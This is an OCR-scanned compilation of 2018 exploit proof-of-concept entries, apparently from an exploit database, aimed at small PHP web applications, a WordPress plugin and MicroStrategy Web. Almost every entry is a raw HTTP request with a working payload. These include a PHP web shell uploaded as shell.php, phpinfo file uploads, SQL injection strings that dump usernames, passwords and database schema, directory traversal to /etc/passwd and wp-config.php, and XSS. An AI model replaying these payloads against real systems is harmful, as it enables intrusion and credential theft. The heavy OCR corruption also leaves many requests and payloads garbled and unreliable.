Arbitrary File Upload

POST /10.0.100.24/webiness_inventory-

2.3/protected/ | ibrary/ajax/WsSaveToModel .php HTTP/1.1

Host: 10.0.100.24:1004

Content-Length: 1838

Accept: */x

X-Requested-With: XMLHt tpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)

Applellebit/537.36 (KHTML, Iike Gecko) Chrome/69.0.3497.100

Safari/537.36

Content-Type: multipart/form-data: boundary=——

WebKi tFormBoundar yU0Oy | F2f26nDr sM7

Accept-Encoding: gzip, deflate

Accept-Language: en-US.en:a=0.9.1r:q=0.8,fr-FRia=0.7

Cookie: resolve_ids=0; order_dir_list_by=1A:

_osr f=b49cf f27d7c0ccd3aBddbaf 3813025249dc909 2a20c 12 fcb 77701945

715b06a%3A2%3A%78 1 %3A0%3Bsk3ASHIA%L2_cST %2238  %3A 1%3BSH3AZ2%3A

WJBsiglOtH 0:

| 8f 164fe79dc 2d133240eb1ffc

4477 %3A%TB I | %3A 1%3Bs%3
0: PHPSESSID: 1uoshrdog53323

Connection: close

————WebKi tFormBoundar yU0Oy |F226nDr sM7
Content-Disposition: form-data; name="model_name"

Par tnerMode |

—————WebKi tFormBoundar yU0Oy | F226nDr sM7
Content-Disposition: form-data: name="id"

—-WebKi tFormBoundar yU0Oy | F2f26nDr sM7
Content-Disposition: form-data: name="partner_name"

My crucial Partner

777777 WebKi tFormBoundar yU0Oy I F2f26nDr sM7
Content-Disposition: form-data: name="logo":
filename="shel|.php"

Content-Type: application/octet-stream

<?php system($_GET['cmd']):?>
—————WebKi tFormBoundar yU0Oy | F226nDr sM7
Content-Disposition: form-data: name="id_number "

25
————lebK(i tFormBoundar yU0Oy | F2f26nDr sM7
Content-Disposition: form-data: name="tax_number"

225588664477
—===—-WebKi tFormBoundar yU0Oy | F2{26nDr sM7
Content-Disposition: form-data: name="iban"

————WebKi tFormBoundar yU0Oy |F2f26nDr sM7
Content-Disposition: form-data; name="address1"

—===—-WebKi tFormBoundar yU0Oy | F2{26nDr sM7
Content-Disposition: form-data: name="address2"

777777 WebKi tFormBoundar yU0Oy | F2f 26nDr sM7
Content-Disposition: form-data: name="region_state"
————WebKi tFormBoundar yU0Oy |F2f26nDr sM7
Content-Disposition: form-data: name="zip"
———=—WebKi tFormBoundar yU0Oy I F2{26nDr sM7
Content-Disposition: form-data: name="city"

—llebKi tFormBoundar yU0Oy |F2f26n0r sh7.
Content-Disposition: form-data: name="country"
————WebKi tFormBoundar yU0Oy | F2f26nDr sM7
Content-Disposition: form-data: name="email"
——==—WebKi tFormBoundar yU0Oy | F2{26nDr sM7
Content-Disposition: form-data: name="web"

777777 WebKi tFormBoundar yU0Oy | F2f 26nDr sM7
Content-Disposition: form-data: name="phone_number "
————WebKi tFormBoundar yU0Oy |F2f26nDr sM7
Content-Disposition: form-data: name=""
—====WebKi tFormBoundar yU0Oy I F2{26nDr sM7
Content-Disposition: form-data: name=""

777777 WebKi tFormBoundar yU0Oy | F2f26nDr sM7—

Webiness Inventory

Webiness
Inventory 2.9

2018-10-30 45747

SQL Injection

WMyBB Downloads 2.0.3 - SQL
Injection

POST /down | oads . php?newdown load=1 HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64: rv:62.0)
Gecko/20100101 Firefox/62.0

Accept :
text/html,application/xhtml+xml,application/xml:q=0.9,#/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost:8081/down loads.php?newdonn | oad=1
Content-Type: multipart/form-data; boundary=
171894060312075061251712806 160
Content-Length: 1029

Cookie: mybb[lastvisit]=1540744980: mybb[lastact ive]=1540745020;
5id=677a58d33fe23e7 f2ead841c79496fcd: loginattempts=
mybbuser=3_waeMfSMi | Rr ToPqW2uy8ZF8AMx8pyR tMCUJEGX0yoGRyLBsBow
Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control : max-age=0

1718940603 120750612517 12806 160
Content-Disposition: form-data: name="my_post_key"
Bcb47e578ed16aab272c55b0cb874504

1718940603 120750612517 12806 160
Content-Disposition: form-data: name="name"

a

1718940603 120750612517 12806 160
Content-Disposition: form-data: name="shor tdesc"

MyBB Down loads 2.0.3

lyBB
Oownloads
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——17189406031207506 1251712806 160

Content-Disposition: form-data: name="description”

test

fffffffffffffffffff 1718940603 120750612517 12806160

Content-Disposition: form-data: name="image"
—1718940603 1207506 12517 12806 160

form-data; name="ur|"

Content-Disposition
1

— ——————1718940603 1207506 12517 12806 160
Content-Disposition
4

form-data; name="numimages"

Content-Disposition
Publish download

—=1718940603 1207506 12517 12806 160
form-data; name="submit"

1718940603 120750612517 12806 160~

2018-10-30

45751

File upload

Expense Management 1.0 -
Arbitrary File Upload

POST /10.0.100.24/user /add_edit HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)

Gecko/20100101 Firefox/45.0

Accept

text/html,application/xhtml+xml ,application/xml;g=0.9,*/*:q=0.8

Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=upb6padanOh16cinht4ugvheet

Connection: keep-alive

Content-Type: multipart/form-data: boundary=
1877694065

1739782647
Content-Length: 551

187769406514: 1739782647
Content-Disposition: form-data: name="profile_pic":
filename="phpinfo.php"
Content-Type: application/force-down|oad

<7php
phpinfo():
>

- ——18776940651426790392 1739782647
Content-Disposition: form-data: name="file0ld"
9_1540845821. php

187769406514 1739782647
Content-Disposition: form-data: name="users_id"

1

187769406514 3921739782647
Content-Disposition: form-data: name="user_type"
adnin

187769406514 1739782647
Content-Disposition: form-data; name="submit1"

1877694065 14: 1739782647~

Expense Management

Expense
Management

2018-10-30

45752

sQL Injection

University Application System
1.0 - SQL Injection

POST /process.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US.en;0=0.5

Accept-Encoding: gzip, deflate

Cookie: pin=%270r+1%301+or +%27%27%30%27 ;

ser ial=%270r +1%30 1+or +%27%27%30%27

PHPSESS ID=upbBpadanOh16cInht4ugvhee !

Connection: keep-alive

Content-Type: app|ication/x-www-form-ur|encoded
Content-Length: 87

mf; edmemaii efe. 1P
wor ds=efe8addmember=ghj

University
Application System

University
Application
System 1.0

2018-10-30

45753

File upload

Notes Manager 1.0 - Arbitrary
File Upload

POST /10.0.100.24/user /add_edit HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :
text/html,application/xhtml+xml,application/xml:g=0.9,#/*
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=upbpadanOhibelnhtdugvheel:
ci_session=453324a77afd51a1fd2618057d3df d6c880da056
Connection: keep-alive

Content-Type: multipart/form-data: boundary=
958390474174 1930689 1039500038
Content-Length: 737

4741741930689
Content-Disposition: form-data: name="profile_pic";
filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo():
>

)5 47417419306891039500038
Content-Disposition: form-data; name="file0ld"
0_1540845821.php

J04741741930689 10395000
Content-Disposition: form-data: name="users_id"

1

1474 17419306891039500038
Content-Disposition: form-data: name="user_type"
adnin

5839047417419306891039500038
Content-Disposition: form-data: name="submit1"

0474174 1930689 1039500038—

Notes Manager

Notes Manager
1.0
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2018-10-30

45754

File upload

POST /10.0.100.24/add_profile.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,*/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=upb6padanOhibelnhtdugvheel
Connection: keep-alive

Content-Type: multipart/form-data; boundary=

Instagram Clone 1.0 -
2 ® Arbitrary File Upload

18601636361 649577

Content-Length: 369

186016363617
Content-Disposition: form-data: name="photo":
filename="phpinfo.php"
Content-Type: application/force-download
<?php
ohpinfo():
>

649577

186016363617
Content-Disposition: form-data; name="submit"
——18601636361709893820977649577——

7649577

Instagram Clone

Instagram
Clone 1.0

2018-10-30

45755

Directory Traversal

5 & Microstrategy Web 7 -
Directory Traversal

/MebMstr7/serviet/mstrieb?evt=30458sr c=nstrWeb.30458subpage=. ./ .
oo fete/passwd

/microstrategy7/Login.asp?Server=Server001&Project=Project001&Po
rt=08Uid=Uid0018Msg=
"><seript>alert("XSS"):</script><"

/microstrategy7/adnin/adnin.asp?ShowAl |=
"><script>alert("XSS")</script><"&ShowAl IServers=show

Microstrategy Web

Microstrategy
Web 7

2018-10-30

45756

File Upload

Asaancart Simple PHP Shopping
Cart 0.9 - Arbitrary File
Upload

POST /10.0.100.24/admin/add_cat.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: multipart/form-data; boundary=
-17014069073451786011304294694

Content-Length: 514
---17014069073451786011304294694
Content-Disposition: form-data; name="category_name"

X

---17014069073451786011304294694
Content-Disposition: form-data; name="category_full_image";
filename="phpinfo.php"

Content-Type: application/force-download

<7php

phpinfo();

7>

- ---17014069073451786011304294694
Content-Disposition: form-data; name="btn_submit"

Create

Asaancart Simple
PHP Shopping Cart

Asaancar t
Simple PHP
Shopping Cart
0.9

2018-10-30

45756

QL Injection

Asaancart Simple PHP Shopping
Cart 0.9 - SQL Injection

GET 10.0.100.24: 1004/shop/page . php?page_id=-

ect+0x31%2c0; 4%26 (SE | eCT+Gr oUP_CONCAT
(username,0x3a, passwor d+sePaRATOR+0x3c62723e ) +Fr OMtauth_user_adn
in)%2d%2d%20%2d HTTP/1.1
Content-Length: 266

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xnl:q=0.9,*/*;q=0.8
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Asaancart Simple
PHP Shopping Cart

Asaancar t
Simple PHP
Shopping Cart

2018-10-30

45757

File Upload

POST /10.0.100.24/user /add_edit HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept

text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

212160558019833203481522967977
Content-Length: 727

5 & Cl User Login and Management
1.0 - Arbitrary File Upload

121605580 1522967977
Content-Disposition: form-data: name="profile_pic":
filename="phpinfo.php"
Content-Type: application/force-down|oad

121605580
form-data: name="file0ld"
—21216055801983320348 1522967977
form-data; name="users_id"

9679
Content-Disposition:

Content-Disposition:

******************* 2121605580 19833203481522967977
Content-Disposition: form-data: name="user_type"
adnin

121605580
form-data: name="submit1"

1522967977
Content-Disposition:

121605580 1522967977~

Cl User Login and
Management

Cl User Login:
and
Management
1.0
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18-11-02

45763

SQL Injection

Fantastic Blog CMS 1.0 - 'id'
SQL Injection

GET

/single.php?i %2 %A 3

54%20%3 3%54
43%4 %4e%43%4 1%54%28% 1 65e%6 1
%4 1%52%4 1%54%4 ' %3C 646%52%
4f %52%4d%41%54%49%4 f %hdek5 1%2
e%54%41%4; %A48%4! A4%41%42%4C%45%5 f %53%43
648%45%4d%4 1%3d%44%4 1%54%4 1%42%4 1%653%45%28%29%29%2C635%20%36%2c%
B7%2c%38%2c%IN%2d%2d%20%2d HTTP/1.1

Content-Length: 261

0%47%52%4 f $55%50%5

Host: 10.0.100.24

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml ,application/xml;q=(
Accept-Language: en-US.en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Fantastic Blog CM

Fantastic
Blog CMS 1.0

2018-11-02

45764

sQL Injection

Jelastic 54 - 'host' SQL
Injection

POST /users/authentication/rest/signin HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1: Win64: x64: rv:62.0)
Gecko/20100101 Firefox/62.0

Accept: */*

Accept-Language: 1t-IT.it;0=0.8,en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate

Referer: https://localhost

Content-Type: application/x-www—form-urlencoded: charset=UTF-8
Content-Length: 128

charset=UTF-88hx_| fon=1&r 0-4419-8a34-
1ab6061918emai I=test ing%40gq. condpasstor d=test ing8appi d=dashboar
d

Jelastic

Jelastic 5.4

2018-11-02

45766

SQL Injection

Gate Pass Management System
2.1 - 'login' SQL Injection

POST /login-exec.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=dfbpcp36bSurataurmtm3dabr0
Connection: keep-alive

Content-Type: app|ication/x-www-form-ur |encoded
Content-Length: 119

login=%27%6 % 0%31%3d%3 1%20%6 % 0! D
%6% 0%3 1%30%3 1%20%6 ' 0" it=Login

d=%27

Gate Pass
Management System

Gate Pass
Management
System 2.1

45767

SQL Injection

qdPM 9.1 - “filter_by' SQL
Injection

filter_by[CommentCreatedFrom]=2018-10-30") RLIKE (SELECT (CASE
WHEN (7166=7166) THEN #0x323031382d31302d3330 ELSE 0x28 END))
AND ("votm"="votm&filter_by[CommentCreatedTo]=2018-10-17

filter_by[CommentCreatedFrom]=2018-10-30") AND
EXTRACTVALUE (2944, CONCAT (0x5c¢, 0x716a766b7 1, (SELECT
#(ELT(2944=2944,1))) ,0x7178717871)) AND
("i1fY"="i1fY&filter_by[CommentCreatedTo]=2018-10-17

filter_by[CommentCreatedFrom]=2018-10-30") : SELECT
SLEEP(5)#&f i1 ter_by[CommentCreatedTo]=2018-10-17

filter_by[CommentCreatedFrom]=2018-10-30") AND
2173=BENCHMARK (5000000 ,MD5(0x7652785a) ) AND
#("PRig"="PRig&fi I ter_by[CommentCreatedTo]=2018-10-17

filter_by[CommentCreatedFrom]=2018-10-30") UNION ALL SELECT

#33,33,33,33,33,33,33,33,33,33, CONCAT (0x7 16a766b7 1,0x474b474 1656

66b437365466773655373776743495a75536670676141445249514775775a614

d6a63,0x7178717871) ,#33,33,33,33,33,33,33,33,33,33,33,33,33,33,3
33,33,33,33,33,33,33,33,33,33,33,33,33,33—

#pamn&f i | ter_by[CommentCreatedTo]=2018-10-17

qdPm

qdPM 9.1

2018-11-02

45768

SQL Injection

Yot CMS 331 - ‘aid’ SQL
Injection

GET
/10.0.100.24/ index. php?page=ar ticles&op=ar t&aid=1++uniON+SE IECT+
16e%2c0

x4968736 16e%2c0x4968736 16e%2c0x4968736 16e%2c0x4968736 166%2c0x496
8736 36 36 3616e%2c(select (@
x)from(select (@x:=0x00)., (@running_number :=0) , (@tb|:=0x00), (selEc
t(0)from(information_schema.COlumns)where( table_schema=database(
))and(0x00) in(@x:=Concat (@x,0x3c62723e, i f ((@tb| !=table_name),Con
cat (0x3c26469763e , LPAD(@running_number :=@running_number%2b1,2,0
x30),0; 92020, 42063616061 ,@tbl:=table_n
ame, 0x3c2666166743e, 0x3c62723¢, (€2:=0x00) , 0x3c646976207374796¢6
53d226d6 17267696e2d6c6566743a3330707830223¢ ) , %200x00) , I pad (@z: =@
2%201,2,0x30) ,0x3a292020 , 0x3c666 667420636 6c6723d626¢75653¢ , co
lunn_name, 0x3c266616€743e)) ) )x)-—+- HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozil1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xnl:q=0.9,%/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Yot CMS

Yot CMS 3.3.1

45773

SQL Injection

SiAdmin 1.1 - 'id" SQL Injection

GET /modul /mod_beasiswa/pr int.php?op=pr int&id=—

4%27%20%20UN1 ON%20%20SELECT%201,2,3,4,5,6, (se | ECt (@) fROm(se | ECt
(@x:=0x00)%2c(@rUNNing_nuMBer :=0)%2c(@tb| :=0x00)%2c(se ECt (0) RO
m(infoRMATion_schEMa. coLUMns )wHEr e( tABLe_schEMa=daTABase () )aNd(0
x00) in(@x:=Concat (@x%2ci f ((@tb|!=tABLe_name)%2cConcat (LPAD(@rUNN
ing_nuMBer :=@r UNN i ng_nuMBer %2b 1%2c2%2c0x30) %2c0x303d3e%2c@t B :=t
ABLe_naMe%2c ((@z:=0x00) ) %2c%200x00)%2¢ | pad (@2 : =02%2b 1%2c2%2c0x30)
260 umn_name%2c0x3c62723¢)) ) )x) .8~
%20~ HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:g=0.9,#/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=vakfkalv4davadpkdom? f7vs0

Connection: keep-alive

SiAdmin

SiAdmin 1.1
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2018-11-05

45775

sQL Injection

WebVet 0.1a - 'id" SQL Injection

POST /client.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/56.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,*/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: application/x-www-form-ur lencoded

Content-Length: 483

id=1 UNION SELECT
0x31,0x32,0x33,0x34, 0x35,0x36, 0x37,0x38, 0x39, (se |ECt (@) fROm(se |
ECt(@ X00)%2¢ (@rUNNing_nuMBer :=0)%2c (@tb| :=0x00)%2c(se ECt (0)
fROM( infoRMATion_schEMa. coLUNns )wHEr e( tABLe_schEMa=daTABase () )aN
d(0x00) in(@x:=Concat (@x%2ci f ((@tbl !=tABLe_name)%2cConcat (LPAD(@r
UNNing_nuMBer :=@r UNNi ng_nuMBer %2b 1%2c2%2c0x30) %2c0x303d3e%2c01 B |
:=tABLe_naMe%2c(@z:=0x00) )%2c%200x00)%2c | pad (@2 : =@z%2b 1%2c2%2c0x
30)%2c0x3d3e%2c0; fumn_s 0x3062723e) ) )x)
— -&form_search_client=Efe

WebVet

WebVet 0.1a

2018-11-05

45777

File upload

POST /10.0.100.24/phpWebF i |eManager-0.7/index.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)

Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml,application/xml:q=

Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: multipart/form-data: boundary=
3

1951022
Content-Length: 732

4973 055941951022
Content-Disposition: form-data; name="fm_filename"

Poppy Web Interface Generator

055941951022
Content-Disposition: form-data; name="fm_dir"

08 - Arbitrary File Upload

055341951022
Content-Disposition: form-data: name="fm_action"

upload_file

3 055941951022
Content-Disposition: form-data: name="fm_userfile[0]";
filename="phpinfo.php"
Content-Type: application/force-down|oad
<2php
phpinfo():
>

4973 055941951022
Content-Disposition: form-data: name="fm_submit"
File upload

4973 055941951022~
Content-Type: text/html: charset=UTF-8

Poppy Web
Inter face
Generator

Poppy Web
Inter face
Generator 0.8

45784

SQL Injection

Voovi Social Networking Script
1.0 - "user’ SQL Injection

POST /2 HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,+/%:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: application/x-www-form-ur |encoded
Content-Length: 167

user=1" UNION SELECT

NuLL,NuLL ,NulL,NuLL, NuLL, NuLL ,NulL,NulL, NuLL, NuLL NulL, NuLL, NulL
NuLL, NuLL,NuLL ,NuLL ,NuLL ,NuLL ,NuLL ,NuLL NuLL— -

&passwor d=8act ion=Iogin&submi t=

Voovi Social
Networking Script

Voovi Social
Networking
Seript 1.0

2018-11-06

45799

SQL Injection

OOP CMS BLOG 10 - 'search’
SQL Injection

GET

/search.php?sear ch=E fe%27%20%0UN | ON%20SELECT%201, 2, (SELECT (@x)F
ROM(SELECT(@x:=0x00) , (@R:=0) , (SELECT(0)FROM( |NFORMAT | ON_SCHEMA .
TABLES)WHERE ( TABLE_SCHEMA
1)AND(0x00) IN(@x:=CONCAT (@x , LPAD(@NR:=@NR%2b1,4,0x30) , 0x3a20, tab
le_name,0x3c62723¢))))x).4,5,6,7,8,9-%20~ HTTP/1.1

Host: 10.0.100.24:1004

User—Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html ,application/xhtml+xml,application/xml:g=0.9,*/;
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

0=0.8

00P CMS BLOG

00P CMS BLOG

2018-11-07

45803

sQL Injection

GET
/index.php?opt ion=com_p|ayjoon&view=genre&cat i d=%32%20%4 1%4e%d4%

4%20%43%4  %55%4ek54%28%2a%29%2c%A43%4 f hdeka3%4 1%54%28%43%4 f kde%dd
%4 1%54%5 %57 0" 0%33%6 1 (
20%44%41%654%41%642%4 1 %53%49%4 1

54%20° 1%30%3 1%20%3 1%29%29

Playoom 0.10.1 - "catid’ SQL
Injection

%af 1 8%20%
46%5204 f %64 d%20%A9%4ehA6%4 fR52%4d%A 1%54%49%4 f hde%d f h53%43%48%45%4
a1 %41 78%29
%61%29 HTTP/1.1

Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US.en:q=0.5

Accept-Encoding: gzip, deflate

Cookie: 34817576334 1e76e6aadad3ee54838ec=en-G8:

PHPSESS |D=nacg4hB3q378u11758a1ps|ek7:

T7464bee77f febBI3cc3113afbbd5f7b3=g63a0t dt8bof tnmbbj2pgbt6t 1:
34817576334 1e76e6aadad3ee54838ec=en-G8

Connection: keep-alive

i Linux x86_64: rv:45.0)

PlayJoom

PlayJoom
0.10.1
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45807

SQL Injection

Data Center Audit 262 -
‘username’ SQL Injection

POST /dca_login.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept

text/html ,application/xhtml+xnl,application/xml:q=0.9,%/*:q=0.8
Accept-Language: en-US.en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: appl ication/x-www—form-ur lencoded
Content-Length: 288

username=112" || (SeleCT%20"Efe' %20Fr oMs20duAL%20neRE%20110=110%2
0AND%20 (seLECT%20112%201 r OM(SE | ecT%20COUNT (), ConCAT (CONcat (0x20
3a20,UseR() ,DAtaBASe (), VErsION() ), (SeLEct%20(ELT(112=112,1))) ,FL
00R(RANA(0)*2) ) x%20FROM20 |NFOr mat | ON_SChEMA. P 1uG INS%20gr OUp%208
Y%20x)a)) | | '&pass=1&subni t=Login

Data Center Audit

Data Center
Audit 2.6.2

2018-11-12

45809

Directory Traversal

Wordpress Plugin Media File
Manager 142 - Directory
Traversal

action=mrelocator_getdir&dir=../../../../../../. [etc

Wordpress Plugin
Vedia File Manager

Wor dpress
Plugin Media
File Manager

1.4.2

45809

Cross-Site Scripting

Wordpress Plugin Media File
Manager 14.2 - Cross-Site
Scripting

POST /wor dpress/wp-admin/admin-ajax.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686: rv:63.0)
Gecko/20100101 Firefox/63.0

Accept: */*

Accept-Language: it-IT,it:0=0.8.en-US:a=0.5.en:a=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/wordpress/wp—
adnin/upload.php?page=mr el ocator-submenu-hand| e
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHt tpRequest

Content-Length: 75

Connection: close

Cookie: REDACTED

action=nrelocator_moveddir_from=../../&dir_t
-config.php

- /&items=wp

Wordpress Plugin
Media File Manager

Wor dpress
Plugin Media
File Manager

1.4.2

2018-11-12

45810

SQL Injection

Paroiciel 11.20 - 'tRecldListe’
SQL Injection

GET /html/trec.php?tRecAct ion=P&tRec|dListe=—

1%27%20%20UN ] ON%20SELECT%201, (se |ECt (@x) fROm(se |ECt (@x :=0x00)%2¢
(@rUNNing_nuMBer :=0)%2c(@tb | :=0x00)%2c (se |ECt (0) fROm(infoRMATion
_schEMa. coLUMns )wHEr e ( tABLe_schEMa=daTABase( ) )aNd(0x00) in(@:
ncat (@x%2cif ((@tb] !=tABLe_name)%2cConcat (LPAD(@rUNNing_nuMBer :=@
rUNNi ng_nuMBer 2 1%2c2%2c0x30 ) %2c0x303d3e%2c@1B | :=tABLe_naMe2c(
@2:=0x00) )%2¢%200x00)%2c | pad (@2 : =B2%2b 1%2c2%2c0x30)%2c0x3d3e%2c0
A4b6f lumn_nanm 0; 23e))))x),3,4,5,6,7,8,9,1
0,11--%20~ HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 5.1: rv:50.0) Gecko/20100101
Firefox/50.0

Accept

text/html,application/xhtml+xml .application/xnl:q=0.9,%/*:q=0.8
Accept-Language: tr-TR,tr;a=0.8,en-US;0=0.5,en;0=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Paroiciel

Paroiciel
11.20

2018-11-12

45812

sQL Injection

The Don 1.0.1 - 'login’ SQL
Injection

POST /index.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,+/%:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 596

logi n=%20%31%27%20¢ %ol 13%54%20%3 1%2C%
1%30%2c%3 1%3 1%2

%3 1%32%20%3 1%33%20%3 1%34%20%3 1%35%20%3 1%36%20%3 1%37%20%3 1%38%2¢
%3 0%2

%30%2c%34%3 1 45
3

%2d8pass=&submi t=Efe

The Don

The Don 1.0.1

2018-11-12

45813

sQL Injection

Facturation System 1.0 -
‘modid’ SQL Injection

POST /ajax/editar_producto.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: en-US,en:a=0.5
Accept-Encoding: ozip, deflate

Cookie: PHPSESSID=aehrspvibfhbptiahk| 1107vd7
Connection: keep-alive

Content-Type: app|ication/x-www-form-ur |encoded
Content-Length: 321

mod_codigo=d&mod_id=12" | | (SeleCT%20' Efe ' %20F r oMk20duAL %20NheRE%2
0110=110%20AnD%20( seLECT%20112%20 r OM(SE | ecT%20COUNT (*) , ConCAT (C
ONcat (0x203a20,UseR( ) ,DAtaBASe( ), VErsION() ) . (SeLEct%20(ELT(112=1
12,1))) ,FLooR(RANd(0) #2) )x%20FROM®20 I NFOrmat | ON_SChEMA . P1uGINS%2
0grOUp%208Y%20x)a)) | | ' &mod_nombr e=ds&mod_estado=1&mod_precio=2.0
0

Facturation System

Facturation
System 1.0

2018-11-12

45816

sQL Injection

GPS Tracking System 212 -
‘username’ SQL Injection

POST /monitoring/login.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept

text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/[PATH] /monitor ing/login.php
Connection: keep-alive

Content-Type: app|ication/x-www-form-ur|encoded
Content-Length: 58

user name=$ r+1%301+or+ D%278&pa rd=&login=L0GIN

GPS Tracking
System

GPS Tracking
System 2.12
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2018-11-12

45817

sQL Injection

ServerZilla 10 - ‘email SQL
Injection

POST /reset.php HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml ,application/xml:q=0.9,*/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 66

emai | =%27%20%4 1 %52%20%4e%4 { %54%20%3 1%3d%3 1%20%2d%20%45%66%658&c0d
o=

ServerZilla

ServerZilla

45820

SQL Injection

Nominas 0.27 - 'username’ SQL
Injection

POST /login/checklogin.php HTTP/1.1
Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0
